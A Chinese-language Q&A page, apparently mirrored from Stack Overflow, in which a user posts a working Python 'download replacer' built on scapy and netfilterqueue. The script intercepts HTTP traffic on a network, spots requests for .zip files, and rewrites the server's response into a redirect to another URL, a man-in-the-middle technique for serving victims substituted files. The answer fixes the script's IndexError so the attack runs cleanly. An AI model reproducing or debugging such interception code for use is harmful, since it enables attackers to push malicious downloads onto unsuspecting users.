Replace_Downloads.py中的Python异常IndexError

时间:2018-12-05 18:20:14

标签: python

我正在为DNS spoofer Download Replacer程序编写代码,并且一切正常,它可以完成应有的工作。但是,我一直对此感到烦恼: -“ netfilterqueue.global_callback”中的“异常IndexError:IndexError('未找到层[TCP]”,)被忽略 ” 这个错误使我发疯:P

这是我的Replace_Downloads.py代码:

#!/usr/bin/env python

import netfilterqueue
import scapy.all as scapy

ack_list = []

def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        if scapy_packet[scapy.TCP].dport == 80:
            if ".zip" in scapy_packet[scapy.Raw].load:
                print("[+] zip Request")
                ack_list.append(scapy_packet[scapy.TCP].ack)

        elif scapy_packet[scapy.TCP].sport == 80:
            if scapy_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(scapy_packet[scapy.TCP].seq)
                print("[+] Replacing file")
                modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: http://www.example.org/index.asp\n\n")

                packet.set_payload(str(modified_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

1 个答案:

答案 0 :(得分:0)

并非所有IP数据包都是TCP。

您只需要在开始解压TCP层之前添加检查。一种简单的方法是更换

scapy_packet.haslayer(scapy.Raw):

使用

scapy.Raw in scapy_packet and scapy.TCP in scapy_packet: